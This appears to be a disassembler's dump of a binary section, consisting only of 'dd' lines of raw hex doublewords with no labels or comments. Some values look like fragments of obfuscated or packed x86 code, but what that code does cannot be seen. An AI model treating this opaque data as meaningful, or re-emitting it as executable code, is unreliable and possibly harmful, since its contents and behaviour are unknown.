		dd 0B264AAA7h, 0B7F1660Fh, 4C474C20h, 0D757F479h, 3D3CEB12h
		dd 647FF4B9h, 853D1FC2h, 7827CA6Ch, 4A2CE979h, 0C375BBDCh
		dd 0FAE32823h, 83A455A7h, 9A5B3DE4h, 0BCD74C73h, 967839h
		dd 392547E1h, 41B0F6F7h, 81C55F43h, 71FCh, 0F0734600h
		dd 77FA1331h, 5C0BCCAEh, 0D2FEE47Ah, 0DBDC3924h, 0F22DC495h
		dd 2A490E3h, 0B1AF6B1Ah, 6A81C599h, 1, 35F573B4h, 24D2C51Fh
		dd 0CF4C9139h, 0C68B825Fh, 91739A28h, 598BA1D9h, 0F43925C6h
		dd 78F26286h, 3D82F6DEh, 48E98F8Eh, 1695AE66h, 5032F777h
		dd 0C586688Fh, 0A08223C6h, 8A3130DFh, 888509EBh, 49E89042h
		dd 6F36B9D4h, 3B5426FAh, 4645F4BDh, 0F5EF05A1h,	613924D2h
		dd 7A13F51Ch, 0DD1533F2h, 24D31DC7h, 6B798F39h,	0EB3924D2h
		dd 0CFED32A6h, 24D32BB9h, 37E62B39h, 7839BC55h,	1CC8DE96h
		dd 3A3924D3h, 0AF76F6F5h, 4D9332CDh, 43898C73h,	10D55972h
		dd 0E2C47111h, 0F2737221h, 77F8112Fh, 218D0B2h,	3924D2E2h
		dd 8B082F74h, 0BC1507B5h, 0DC510053h, 95773EC1h, 0D7B978FCh
		dd 0D5448A27h, 81C5ADE7h, 7CA0h, 0F273EA00h, 30B44D2Fh
		dd 0E0B8F71h, 0CC9116C8h, 531295AEh, 9150D871h,	4AC7EEAFh
		dd 374120C9h, 51C67565h, 0AECB136h, 1E34CA71h, 3925C8C6h
		dd 42244B90h, 40AFF592h, 81C4DC52h, 34FD7C95h, 58DD85h
		dd 73270000h, 1C07D9F2h, 0D7B219FFh, 5DFB92B0h,	9934CD2Bh
		dd 3ED7B968h, 9FD7F5B8h, 5A3CE186h, 2D479D99h, 0CA0F3925h
		dd 0FF9E391Bh, 6D6607B9h, 8D367118h, 77EC13EBh,	2CF573A3h
		dd 0D32DB44Ah, 0FAB3924h, 0D323C1D7h, 0EE333924h, 776BC3Fh
		dd 81C5D509h, 1C2h, 0F1730C00h,	73F91230h, 600FD0B2h, 0BADC67Eh
		dd 18C7886Ah, 0EDCF9619h, 6AAC37Fh, 83667D5Fh, 2ED293E2h
		dd 0AD30DF06h, 7233B567h, 5A1722FDh, 0EA6D043Ch, 92F558FBh
		dd 0DD0CC7Bh, 3B3F437Dh, 435C14F6h, 591AFCA5h, 6908ABAAh
		dd 9856D9F4h, 76C6282h,	88AFF433h, 0BA57EEA6h, 0FC7D300Ch
		dd 1AC8C473h, 0AB330791h, 9114C60Ch, 8215BD0h, 0A247E77Ah
		dd 9D475D7Bh, 0B9330790h, 23C6C574h, 6407A082h,	575ADBBDh
		dd 1EDC5F11h, 790DC08h,	36357A33h, 4A0BEDB0h, 0D8D6AE23h
		dd 1B87E316h, 49150984h, 0E49335CDh, 1083Ch, 86B38600h
		dd 10B9CFEDh, 103F42F0h, 0AD50E9CBh, 3C558F04h,	0D59C1CBDh
		dd 7D00FFAEh, 0B639D2B4h, 0EE8C0DEFh, 24A9F657h, 0AE9961B9h
		dd 20B53269h, 22A554CDh, 0DE872ADCh, 66939169h,	594C87E4h
		dd 96000000h, 0DE061C54h, 783924D2h, 78C58433h,	65CFE503h
		dd 0E73924D3h, 0D34B99AFh, 0C60B3924h, 0E386A317h, 789F6042h
		dd 0F4A1415Ah, 17CD6345h, 0EB3924D3h, 0B32A4EAh, 0BEF1EE8Eh
		dd 39B02C74h, 8AA8CFF6h, 0E0041A52h, 76392595h,	0AE868231h
		dd 48392595h, 6E848E03h, 52000000h, 0CFED86B3h,	0C47332B6h
		dd 0E96590A6h, 0CE133F42h, 11D053ECh, 37FE819Ch, 24458219h
		dd 0EED09113h, 8FA1B02Dh, 0B84E30DFh, 3306C027h, 0E2B3F998h
		dd 0DD7A6D4Bh, 22D1268Bh, 0C3E18023h, 0BE30822Ch, 7B6EF20h
		dd 1982B792h, 54EDCF96h, 0BEE50CD5h, 0BB288AA0h, 85CA392Ah
		dd 0BE670AA3h, 74D6EDCh, 0B1CFA495h, 64B179Bh, 2196DB33h
		dd 0ED86B34Dh, 0C40097CFh, 9287249Bh, 0F4BEBA69h, 0FE3F49DDh
		dd 0BB3ED7B9h, 8BB6FFA4h, 0D344E64h, 3BFA7D98h,	0FADAC359h
		dd 7B785835h, 162C6435h, 0DCBBBCEh, 2AD76B88h, 0D2555403h
		dd 0E0839E13h, 27C65F41h, 0D2E9C7Eh, 0C25FF6C7h, 0FDA0465Eh
		dd 0DFDD5A1Bh, 48F58DEBh, 0F0737221h, 2E10D559h, 0B6D1466Dh
		dd 0E29E1C33h, 3CD39ECAh, 52DC081Eh, 357A0DCBh,	3A42C0Eh
		dd 72000000h, 0EE73A77Fh, 35B85133h, 4DF18A6Ch,	952DC6A8h
		dd 0C86D06E8h, 5AA4325h, 46E57E60h, 8024BD9Fh, 0C666FFE1h
		dd 52003D1Fh, 0C281E289h, 4, 5204EA83h,	42474FFh, 24048F5Ah
		dd 5CB685Ch, 2C890000h,	4DD06824h, 14890000h, 0D6B95124h
		dd 0C1337023h, 0D1F705E9h, 0E06BF57h, 0F929F840h, 59CD895Fh
		dd 24148B54h, 5004C483h, 8B8h, 89D00100h, 24048B28h, 4C481h
		dd 148B0000h, 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h
		dd 57242C8Bh, 0C781E789h, 4, 8704C783h,	0E95C243Ch, 0FFFA098Fh
		dd 0E93AA788h, 66DA58E6h, 1C9764C5h, 8BB82104h,	3062475h
		dd 0CDE0FFC5h, 5278D9BFh, 6E7A33D2h, 2098B81h, 903B76C1h
		dd 0DD77476Fh, 473DFE34h, 0DC6D57F7h, 0EE5E4672h, 5A1E65A3h
		dd 0E8715519h, 0Ch, 0EC3325B5h,	0F0AE0B70h, 4897202Fh
		dd 14E9h, 177FC400h, 748EDB40h,	0BDF2E84Fh, 9AB52A75h
		dd 0ED5A6E3Ah, 0E9605FDFh, 14h,	0AEA67CECh, 0A9BD3E25h
		dd 275166AEh, 5484BF0Ch, 0F7D37CEh, 9B43EB81h, 81612070h
		dd 69BCC7h, 8E0F5300h, 0
		dd 66F62B58h, 8BE8D7B8h, 8166370Ch, 81F3DBF0h, 5AF23FF1h
		dd 642CBB44h, 0F1817D99h, 0B51086h, 0C181DA8Bh,	3EB26863h
		dd 98D0Fh, 840F0000h, 3, 5188C880h, 37048FFCh, 665295B6h
		dd 835BDF8Bh, 0D68B03EEh, 8146B34Eh, 0FF96ECFEh, 0B0850FFFh
		dd 0F8FFFFFFh, 221F04EBh, 20E92659h, 68000005h,	8EA91EDBh
		dd 0B7D247EEh, 0DCF76C35h, 41F945Dh, 849BE63h, 0C76A0B16h
		dd 0EEAB3752h, 15D85E79h, 43E285A0h, 1C32CECEh,	3F4949C8h
		dd 7301D98Eh, 974F31F0h, 0D29B495Fh, 6BB23924h,	790FCB3Fh
		dd 2542DD51h, 99F675ABh, 0A5A4537Ah, 0A83F5D00h, 5B5D49FDh
		dd 0CC2D8B6Ah, 0D84376F3h, 0FD5EB09h, 473924F5h, 0C3DE5302h
		dd 4A638120h, 0D303A8A7h, 0F90D2787h, 0A84123D2h, 954F6505h
		dd 0C1392521h, 0DA73557Ch, 5C759352h, 713214DDh, 21A73D53h
		dd 6AAF3925h, 5855D9BBh, 14DD6012h, 3FE2849Fh, 6A0FAFCAh
		dd 5053EF88h, 889EEF5Bh, 39254F5Ch, 0EB38B5FAh,	0D8851D6Dh
		dd 0FA88AB1h, 4BE4C673h, 8A2507AAh, 0F7CBA5EBh,	58DE90D6h
		dd 62052095h, 0F129E1C3h, 25D109DBh, 59084D39h,	25D0845Dh
		dd 0D535439h, 782233Ch,	0EB9AC160h, 0C4D6312Fh,	53EA81h
		dd 54340000h, 0D2DE061Ch, 55ED3924h, 9105C6A8h,	6252CF4Ch
		dd 0BDBC538h, 1BDA5D5Ch, 603FA339h, 9A9B3925h, 47E7E554h
		dd 1A081C5h, 0EA000000h, 0D054F573h, 6F08EA11h,	0AD4628C9h
		dd 185670Eh, 0B5EDBE04h, 24D3459Fh, 1DCC1139h, 62D79E1Eh
		dd 88FDA447h, 2FF273B4h, 6D34B44Dh, 0D56C0A8Bh,	2FF23DFh
		dd 6CEF9EAFh, 2EF37426h, 821B9EB9h, 965739FCh, 70F48D6Fh
		dd 821FCFB1h, 4DFCD3Ch,	689881C5h, 0E2000000h, 78D9F273h
		dd 0AD374D0Bh, 0A939259Eh, 0D052E764h, 2CC5A7CEh, 8307E988h
		dd 0E98E4086h, 33B4CF44h, 0BBD48C6Eh, 0CCCB7A27h, 0CF66842Dh
		dd 42D7DBB3h, 6D4FFEE6h, 0AA8C55D4h, 0E9CB6A11h, 66408687h
		dd 0FE6DB350h, 81C53C10h, 0EA8FBC53h, 4C824CBBh, 3FF59Dh
		dd 733F0000h, 0B44D2FF2h, 0F28D6F32h, 0DA5B0D53h, 73CEA217h
		dd 0B44A2CF5h, 3924D32Dh, 9364AAABh, 0D29F455Bh, 72B73924h
		dd 0D2A63E54h, 6BB03924h, 0D50200BCh, 6BB81C5h,	9F000000h
		dd 8F3EE786h, 30F173D7h, 20C4DA12h, 363924D3h, 0A74EF2F1h
		dd 735504C5h, 0AC8E57DAh, 25D71D3Eh, 926DE283h,	27BDD3A7h
		dd 2F3924D3h, 8FA5C3EAh, 3F42DA4Eh, 3AD3B5FAh, 5E79EEB7h
		dd 0A2381ADBh, 3306CB40h, 5C3EFB87h, 0A0823FC3h, 0FFD91F1Ch
		dd 67195FFEh, 0E6FF1DC4h, 1CA2A15Ch, 7B67759h, 2DF47792h
		dd 660FB24Bh, 0BA000384h, 41E46508h, 5C4523A0h,	2BE9A555h
		dd 0B9B78F04h, 7287E441h, 166h,	1586B3BCh, 9CB2D08Dh, 3924D348h
		dd 84A2C90Eh, 42EF5B6Eh, 9E80C53Fh, 4EC36205h, 0B77AFB14h
		dd 666514D5h, 0EB0422C3h, 1C2A44Dh, 54D77052h, 272AAB8Dh
		dd 0E58C2FE1h, 0F19A9870h, 425387E3h, 9D000000h, 0D3F18AB3h
		dd 24D377BDh, 1C3A7F39h, 0A3304DE4h, 3315AD1Eh,	2519AD37h
		dd 0B564A939h, 19A73DD3h, 0BF5B3925h, 19737187h, 9EE33925h
		dd 0B4266CEFh, 0BCD2F089h, 39251A78h, 0BAC4397Eh, 0E2h
		dd 82BD5488h, 0B61DC08Dh, 54E5A453h, 32C9011Fh,	0E55BE63Bh
		dd 3F0F25CAh, 47C928A5h, 0C92C28D7h, 0AF3F43DAh, 4CEF886Ah
		dd 0CE6E87A5h, 0D5844527h, 680D2660h, 152BE3C5h, 3307ACCFh
		dd 6C1B4287h, 492BCA6Dh, 7AE2CB3h, 77169533h, 905133F6h
		dd 48EE8769h, 5E8528CDh, 0CD03657Ch, 3E228A13h,	340E5457h
		dd 5CE0F933h, 1D63E695h, 0F3D3C86Bh, 80831FD1h,	87C1365Dh
		dd 2A29D46Eh, 3AFBDD98h, 46DCC8Bh, 1195AEE6h, 0FAA96A4Ch
		dd 2B55E4FEh, 4B2DC439h, 8962FBF5h, 0C7037726h,	0E1E533B1h
		dd 0B7DE232Ch, 20B93CD5h, 0D2B4DB9Eh, 2CFD4364h, 0E506DEF4h
		dd 90A62CE1h, 2CE1E454h, 449BD02h, 0F6A39655h, 19D1B372h
		dd 0E1E3E103h, 930752Ch, 34AEC4E2h, 1E33065Bh, 1DA2BBD9h
		dd 6B57658h, 86B3BD91h,	29B9CFEDh, 293F494Ah, 0C66902E4h
		dd 5770AA1Fh, 703113D6h, 763FC2C1h, 0BA49FE94h,	0C55D537Dh
		dd 0FD6D778Dh, 0CCE91282h, 0E1A2842Dh, 42880BBAh, 0CF44ED90h
		dd 9D475D95h, 0B91282FDh, 23C6C574h, 6007A082h,	5071DFC1h
		dd 0CD5580Ah, 0A57257EEh, 0C38D0D98h, 2D659F14h, 8362CD17h
		dd 95448912h, 34521396h, 0CB82991Bh, 43100BC6h,	18FAA9D0h
		dd 390h, 0A77F5E00h, 5133EE73h,	8A6C35B8h, 0C6A84DF1h
		dd 6E8952Dh, 4325C86Dh,	7E6005AAh, 0BD9F46E5h, 0FFE18024h
		dd 3D1FC666h, 7C646800h, 0C890000h, 78816824h, 2C890000h
		dd 0E7895724h, 4C781h, 0EF810000h, 4, 5C243C87h, 0BD243C89h
		dd 185B0C9Bh, 0ED83DDF7h, 3E5C101h, 0C581EDD1h,	0E790A97Bh
		dd 243C8B54h, 4C481h, 0C5680000h, 89000040h, 2C81242Ch
		dd 0B12FAA24h, 8478F6Eh, 0AA084781h, 0FF6EB12Fh, 815F2434h
		dd 4C4h, 242C8B00h, 81E28952h, 4C2h, 4C28100h, 87000000h
		dd 0E95C2414h, 0FFFA037Bh, 716A58D6h, 0B833C637h, 6247BA1h
		dd 0E0FFC503h, 19D4E831h, 62FAE9C5h, 0DA09DF5h,	15BBEB13h
		dd 4CFDE270h, 33CCE168h, 33590B7Ah, 574ACCABh, 438B702Ah
		dd 5955C2Bh, 5F19EE34h,	1DD32673h, 4E5118AAh, 3C5C8572h
		dd 309C87C8h, 4A97A233h, 72817381h, 7D848D8Dh, 0BD290624h
		dd 61E2BA5h, 8D89C18Bh,	61E2375h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 1CC35545h, 24A1B4E0h, 0C7BBC41Bh
		dd 1E324D85h, 683C06h, 57006A00h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 0F18FE45Bh, 0E10EBC6Ch
		dd 20BDB529h, 9589061Eh, 61E0185h, 2618589h, 85C7061Eh
		dd 61E3169h, 0
		dd 12E9h, 0A254C800h, 0E188A170h, 86A5BC99h, 62D0F029h
		dd 0FF53AEACh, 1E2931B5h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 816B2314h
		dd 0D626F8F0h, 0FFF28B3Ah, 1E16B995h, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
		dd 633784C0h, 91079735h, 0AE8FFh, 0A21E0000h, 0C2CAFEA2h
		dd 0F35D6709h, 49852951h, 5A061E19h, 0FF006A5Bh, 1E26C195h
		dd 0EBC08B06h, 0E9CEAE0Eh, 2B047E32h, 65B8BABEh, 0E8584CE1h
		dd 0Bh,	0FF430D84h, 18AF816Dh, 8B9F7142h, 1E08A18Dh, 95895B06h
		dd 61E0091h, 6BE4C381h,	0BF0F0000h, 1AC368C9h, 81660000h
		dd 5E1AA1E8h, 2F658D89h, 33FF061Eh, 22CCBF66h, 840F605Ah
		dd 6, 0DBF1C281h, 0B5037C8Eh, 61E20DDh,	0DBF28161h, 0F123EB0h
		dd 0EA81C2B7h, 0C834EA4h, 81CABF0Fh, 959134F2h,	0DE8514Fh
		dd 60000000h, 0A56E9FF1h, 0BD7DED20h, 3C0D9F26h, 58596160h
		dd 7E81389h, 0E2000000h, 1835FA25h, 958925E8h, 61E0F11h
		dd 7FEB8158h, 81497852h, 3E7AA4F0h, 7BC38171h, 9497852h
		dd 1E1445BDh, 850F4E06h, 1Bh, 5E9h, 6DB04D00h, 1DE9BA1Ch
		dd 0E000000h, 7A0A244Ah, 0D195A6D5h, 6061A9A6h,	849BBE66h
		dd 5BE961FCh, 0B7FFFFFFh, 0FA34241Ch, 11E8h, 69634B00h
		dd 0FE41F5E3h, 86D014EFh, 0F4EE2E6Eh, 0BF0F7E3Eh, 0C18159C1h
		dd 6B27h, 0BEh,	2890F00h, 8A000000h, 0E34FFFEh,	0DFE38166h
		dd 0BD895AF7h, 61E22B5h, 0CBBEA81h, 0E85133C4h,	5, 17ABAD36h
		dd 0A98D891Ch, 5B061E22h, 9CC28158h, 0E9145416h, 0Ah, 0D84B634Dh
		dd 64DFD878h, 0F281EA21h, 141076FBh, 3D99509h, 1489061Eh
		dd 45858B31h, 81061E14h, 5BC95BDBh, 4EE836Ah, 6E9h, 0E5742C00h
		dd 8126ABD6h, 0FF9570FEh, 8E850FFFh, 0F9FFFFFFh, 6E8h
		dd 0C0C10C00h, 0F241CB7h, 882h,	8D8B5600h, 61E0E99h, 11E95859h
		dd 86000000h, 469DB802h, 0B439EC4Ah, 636E35C8h,	1B611CE2h
		dd 7088C081h, 9D090000h, 61E2291h, 1BF1BAh, 31B58900h
		dd 8B061E22h, 0D950130h, 81061E20h, 0CE24FCEEh,	88B9665Ch
		dd 0E8C681CFh, 8949E545h, 1E2F759Dh, 19C68106h,	666866E8h
		dd 560601B9h, 0BB66008Fh, 0E8813DE1h, 7C6F5F76h, 9E01B966h
		dd 5F72C081h, 0BB667C6Fh, 0EA814EDEh, 1, 1D850Fh, 0CE90000h
		dd 0A9000000h, 293350F0h, 0FBB30C7Bh, 0E9B35A4Ch, 21h
		dd 784F0492h, 0B3A307C9h, 0FF8DE9F3h, 0F66EFFFFh, 3C699259h
		dd 9F3DF62Ah, 6B9B33DAh, 0DB25CD8Ch, 0A07582BDh, 14690889h
		dd 8DA6DC78h, 363B4AFBh, 35A12E86h, 0D9259086h,	3025480Ah
		dd 3D9C9905h, 3F251498h, 30257602h, 0F5980786h,	30235CB4h
		dd 3057A589h, 0B5E39086h, 363B68C7h, 24A34CC8h,	4A48A6Fh
		dd 9BE6CFA2h, 89907BB6h, 0BD235C8Bh, 115DF003h,	0BBF56F80h
		dd 71A08E76h, 7E233AA6h, 0A180C1EEh, 142188C8h,	6994B5EBh
		dd 2E0F779h, 0B5A82798h, 3604E857h, 0C8AE9879h,	3025343Fh
		dd 302DFB86h, 3F830986h, 30258A03h, 0F92E0B86h,	0CFD5A489h
		dd 3DCC6F79h, 0BD254886h, 2E699C1Bh, 3020AA80h,	0D3DA0986h
		dd 4FC0390Bh, 0BDA844A2h, 3601A124h, 823Eh, 0F1EA6300h
		dd 0A075826Fh, 14690889h, 8DA6DC78h, 363B4AFBh,	35A12E86h
		dd 0D9259086h, 3025480Ah, 0E9839905h, 0B9A4F305h, 22h
		dd 11E8h, 14FDF000h, 24FEF42Eh,	0C39AD4FEh, 0EE29ACD3h
		dd 858B32FDh, 61E020Dh,	0CAB70F5Fh, 74FFC781h, 0BD890000h
		dd 61E22F5h, 1D20BBh, 0A8F0F00h, 60000000h, 60A461B9h
		dd 0D2BF0F49h, 66378B61h, 463ED081h, 6EF0F681h,	0CC8A47E3h
		dd 373EF681h, 0B5B85661h, 8172E15Ah, 617142C6h,	0BD958B7Eh
		dd 56061E2Dh, 8FD08B66h, 81B58907h, 83061E02h, 8B6604EFh
		dd 1EB81CBh, 0F000000h,	0FFFFBC85h, 0CE8B66FFh,	135B04EBh
		dd 0FCE931FFh, 18000007h, 3E59CE8Bh, 6782F7BEh,	8CA71CC5h
		dd 0B4CF44EDh, 0B8F96E33h, 773ABBC6h, 9E5BE702h, 0C5680E29h
		dd 0F3B23550h, 0CCE27E7Eh, 3F495418h, 54B1893Eh, 12F4BD3Bh
		dd 0D2A0445Ah, 71B63924h, 429F9B4Ah, 833924D3h,	92CC41E0h
		dd 0D2A0445Ah, 71B63924h, 0D2A73D53h, 6AAF3924h, 343DFCBBh
		dd 20C5DE16h, 2BDA9B7Dh, 42E91E2Fh, 0A7C50A3Fh,	0BB8B596Fh
		dd 86CB3306h, 0DB5CF5D7h, 0E386A116h, 8FA86042h, 0A56648E9h
		dd 5774F7F6h, 0EA27FAC3h, 0AD8FB640h, 40568E2Ch, 330694A4h
		dd 6ADE9B27h, 0ADF37625h, 44B978FBh, 0E4126E6Ch, 4F2787h
		dd 54710000h, 47F6BB3Bh, 0E402A748h, 0BFEF4F4Dh, 6615615Bh
		dd 0A74AEB84h, 0FB4144C5h, 8C01A449h, 0C5D0B6B4h, 276F81h
		dd 73B90000h, 954D2FF2h, 0FEA3445Dh, 24D2E202h,	0D6577439h
		dd 413DEC13h, 3924D2A0h, 22D41A9Dh, 5963D89Dh, 23h, 61C5427h
		dd 3924D2DEh, 7E185C6Fh, 6BDF2919h, 0F7787726h,	28BA5032h
		dd 9D39259Eh, 6106B8FEh, 0B37347BCh, 0B9CFED86h, 3F42EE14h
		dd 0AE6BF714h, 1B316987h, 3306B7C9h, 0B799488Dh, 0BDDB9A1Eh
		dd 0AE5D04A4h, 39A1E39h, 1EDFC160h, 7DBC15F7h, 173FD6F4h
		dd 1BE0032Bh, 37FE8180h, 0C7E59455h, 0BD18F88Fh, 41157F90h
		dd 280F9692h, 84C93924h, 0CD1334A2h, 63D8991Bh,	0ED6C1029h
		dd 0A183AA4Bh, 49FD018Ah, 7FA68EFAh, 0AE2FD1D0h, 0C6876914h
		dd 0CD27BD9Fh, 552CE8AEh, 243D0E54h, 3130DF82h,	3771E68Fh
		dd 0C2A024A0h, 25FD7A3Bh, 540CBBFEh, 8A1889B3h,	8A2FD0CFh
		dd 8C0E7A8h, 0F0733E90h, 29FD7931h, 0C5C8C8B6h,	3D8184h
		dd 0B3CB0000h, 5438F089h, 24D2A63Eh, 0B36BB039h, 0BD548254h
		dd 2D27C047h, 0D5D48307h, 5B749253h, 713214DDh,	0BD540AC2h
		dd 0FF15DF58h, 392572E5h, 67AF2C71h, 0E77A29F6h, 22840Fh
		dd 0B3520000h, 5438F089h, 24D2A63Eh, 4FED0639h,	456CF7A6h
		dd 7382548Dh, 0DF7830F1h, 42E788A1h, 38F09F60h,	4F31F073h
		dd 295499B9h, 728B2339h, 0F50B29CCh, 392051EFh,	0F0732267h
		dd 0AC75F8AAh, 2FF6758Eh, 68DD8C4Dh, 0F80EA84Dh, 392051ECh
		dd 1CFE256Ah, 0C467E283h, 7B14F61Dh, 0B95234FDh, 0CB8C6E37h
		dd 0A68829CCh, 2CFD4344h, 2051CE16h, 1C438839h,	3AEC3235h
		dd 0A37BF0B5h, 81CA55A5h, 405Eh, 85294200h, 0A98F618Ah
		dd 0A2C9C823h, 0F0733BF3h, 0CA2DEDBh, 0D1F84726h, 0C0627BB3h
		dd 0A2CB1915h, 468B3925h, 0DD5CB597h, 0DF5D7694h, 0C4733416h
		dd 0B8E190A6h, 4A8F3F43h, 0A1E7E468h, 30A54CEFh, 31F0735Ch
		dd 5643F64Fh, 0CCEA11CCh, 42FA83B6h, 28417D3Fh,	3DFEE081h
		dd 6ABA341h, 476EB333h,	89B3FED2h, 849AD2F0h, 3924D260h
		dd 0B125CC6Bh, 26CF6D6Ch, 1CD48344h, 0F0733E90h, 0CF2821DBh
		dd 0E2A3852Ch, 0F9683365h, 87AE77FAh, 0B629FDCFh, 84C5C8C8h
		dd 2881h, 89B3CB00h, 3B5438F0h,	582EA2B9h, 0FE2FB816h
		dd 0F40A28D7h, 3925C3F0h, 54692166h, 30F17382h,	8407DF78h
		dd 1Fh,	0F089B352h, 0A63E5438h,	993924D2h, 1C54BA72h, 4569D585h
		dd 2DDC1BC8h, 30F17375h, 7307DF78h, 7C1331F0h, 0C2D16E61h
		dd 0FC7F7E1Fh, 0EA48635h, 39299544h, 83357B78h,	0A2341E0h
		dd 1EDFC164h, 5EDFFA6Fh, 9F20B99Bh, 0D5B77E02h,	8A0BED14h
		dd 0EE8F4187h
		dd 0A31F073h, 14BFBD95h, 0CA0281CAh, 208730B4h,	64092639h
		dd 43EB9AC1h, 34h, 0BB3B548Dh, 0A45314F6h, 816302A5h, 42601128h
		dd 42E9C92Ch, 4CEC053Fh, 3D82F6A5h, 94DAD75Bh, 899F5FE2h
		dd 3306BB5Bh, 0F44860FBh, 23C7AD50h, 8C60D5FCh,	4F31F073h
		dd 37FE7E97h, 26E59455h, 8405E13h, 0C4A653EFh, 6D585403h
		dd 0AB3F4301h, 0B31DF166h, 0CC951889h, 3E90EDA5h, 11DBF073h
		dd 29940174h, 0FD894168h, 0C8C8B629h, 0F20B84C5h, 4C5A74Eh
		dd 0D314D0E6h, 0FD423624h, 43A64Eh, 54F00000h, 0D2DE061Ch
		dd 33783924h, 0DDC9ADB6h, 0FBE7EFAh, 0CD85EC50h, 7F031C54h
		dd 0CD1713C2h, 893924D2h, 82548C44h, 7830F173h,	0D269A1DFh
		dd 81B5E545h, 994B4737h, 0BD3925B6h, 8411C978h,	3Bh, 61C5452h
		dd 3924D2DEh, 0C5843378h, 0EFF50B77h, 673924D2h, 0E0812322h
		dd 3E5401B9h, 3924D2A6h, 54BA7299h, 90BD5482h, 9A89BE8Bh
		dd 5598D5B9h, 0D2F92F73h, 0E1802423h, 7307DF29h, 0B94F31F0h
		dd 39295499h, 2EE02623h, 5A75EA8Bh, 742C0ED7h, 26BFDC5Bh
		dd 717A04D6h, 5213F51Ch, 1C55E4A3h, 8139E8FEh, 52973F3Eh
		dd 89B309DDh, 3E9038F0h, 7931F073h, 1774BD54h, 55A5D7F2h
		dd 0B65D31A6h, 84C5C8C8h, 7A81h, 89B3CB00h, 0EFD19018h
		dd 0D2C32137h, 4E933924h, 54480027h, 0C75F851Ch, 7C9A64BFh
		dd 1D13D1CDh, 26433925h, 3F00E283h, 0ACC2FA18h,	39251D38h
		dd 2B0F831Eh, 73CCED7Bh, 54E59D4Ch, 30F17382h, 88A1DF78h
		dd 0AF354BE7h, 0A73924D2h, 98593B62h, 6D4F1699h, 5445FDACh
		dd 6EA972BDh, 824325C8h, 0F8CD2905h, 24F102E2h,	0E80F5439h
		dd 0F130B4CAh, 0E1263924h, 3B4432h, 0B3120000h,	5438F089h
		dd 13F5BC3Bh, 6F85A352h, 3924D275h, 54EBA3CAh, 58F17382h
		dd 34EC13D6h, 3768BD54h, 9154CBC6h, 0D9114FE2h,	255921C3h
		dd 0E3F93539h, 39255901h, 3AE91055h, 0BA3B5482h, 0A55415F7h
		dd 0E48A03A6h, 0C4FC1A41h, 9BC7AB2Dh, 0E7E32ADDh, 3925CDFDh
		dd 5B971459h, 0C3B30F89h, 69C7E2Dh, 3929B94Ch, 7B2D7370h
		dd 0A9C439F8h, 247D5F06h, 43FE8415h, 5B79A061h,	3EE23045h
		dd 8E03483Fh, 0F989B3BAh, 24D301E3h, 7D38CA39h,	2166DA9Bh
		dd 0F8DA9B22h, 90581037h, 31F0733Eh, 0B273FA13h, 1C544B03h
		dd 24D2DE06h, 15337839h, 24D2E5FFh, 7D2C7139h, 0C8B63408h
		dd 8184C5C8h, 3Eh, 0F089B3CBh, 0A63E5438h, 63924D2h, 0C4A64FEDh
		dd 9BE05403h, 738254E3h, 0DA1230F1h, 24D320C4h,	0E4FA3639h
		dd 3924D300h, 3BEA1156h, 0D8BD5483h, 4DB436BAh,	20F88B3Ah
		dd 1984h, 89B35200h, 0ABD29718h, 0A63E54F3h, 993924D2h
		dd 8254BA72h, 7830F173h, 0F07307DFh, 43F64F31h,	0BFD8102Eh
		dd 7B697F23h, 0DB3924D2h, 0C4C06F96h, 3F42DFEDh, 9A0BE03h
		dd 34B972DBh, 0C20FF471h, 336DE291h, 0F7678B9Ch, 29D82648h
		dd 84A2CF6Ah, 2B0AC46Eh, 7E92E39h, 0B52ACB6Eh, 304E179Ah
		dd 8F9DD799h, 7694405Ch, 0E29B8460h, 0DE8DD22Ch, 35B166FCh
		dd 0E28064BEh, 38BC5537h, 786C82h, 99DEF507h, 56F59072h
		dd 0B44C3610h, 0D7D0291Dh, 0F4139051h, 0C0D6F495h, 0F507BA24h
		dd 0BB3EED32h, 8120C375h, 0A74EF10Ch, 0E48D2CC5h, 2D739402h
		dd 2C42F87Bh, 0F507B9B8h, 0BD32599Eh, 74561FA2h, 3ECh
		dd 0A77FBA00h, 5133EE73h, 8A6C35B8h, 0C6A84DF1h, 6E8952Dh
		dd 4325C86Dh, 7E6005AAh, 0BD9F46E5h, 0FFE18024h, 3D1FC666h
		dd 0E2895200h, 4B850h, 0C2010000h, 4EA8358h, 5C241487h
		dd 43C68h, 241C8900h, 81E18951h, 4C1h, 4E98100h, 87000000h
		dd 895C240Ch, 0BE56243Ch, 98239BBh, 4E03EEC1h, 8107E6C1h
		dd 0E65BC6h, 8BF3896Eh,	0C4832434h, 3C8B5404h, 4C48324h
		dd 4F5F68h, 241C8900h, 0FF08478Fh, 815F2434h, 4C4h, 241C8B00h
		dd 81E78957h, 4C7h, 4C78100h, 87000000h, 0E95C243Ch, 0FFF9F657h
		dd 0BF0FA95Ch, 2B017321h, 0EC4617C5h, 0B8736375h, 62488C5h
		dd 0E0FFC503h, 1B643209h, 1AF447F3h, 33560D3Fh,	0DE8h
		dd 0B89D2200h, 128CDA3Eh, 545CB6Fh, 0BE96377h, 0C7000000h
		dd 9F17F40Dh, 454BAE74h, 0E959B885h, 0Dh, 6CD383A9h, 62C8BB46h
		dd 10A1E834h, 0F6C181B3h, 8A000059h, 1652BFDAh,	0B6BA0000h
		dd 8B5C7CE6h, 3AEB8131h, 81443D3Bh, 0A094D8EEh,	5E8601Fh
		dd 91000000h, 73A4F8D2h, 74D0A2BFh, 10E95E30h, 95000000h
		dd 1CC77FF4h, 94700F14h, 0DA899DCDh, 61ECB47Dh,	8F4EEE81h
		dd 8B661F83h, 3CC681D6h, 0F69DE5Fh, 0F556C2B7h,	8166018Fh
		dd 8338C2C2h, 8C0F02E9h, 3, 49D78B66h, 4F8AB449h, 0FF99850Fh
		dd 8A0FFFFFh, 3, 8DDE8B66h, 248AC18Dh, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
		dd 46B41F2Eh, 67B0C733h, 23758D89h, 0C081061Eh,	68F85E1Ch
		dd 0E9EA8153h, 5F771229h, 324D85C7h, 6CA0061Eh,	9D2B0000h
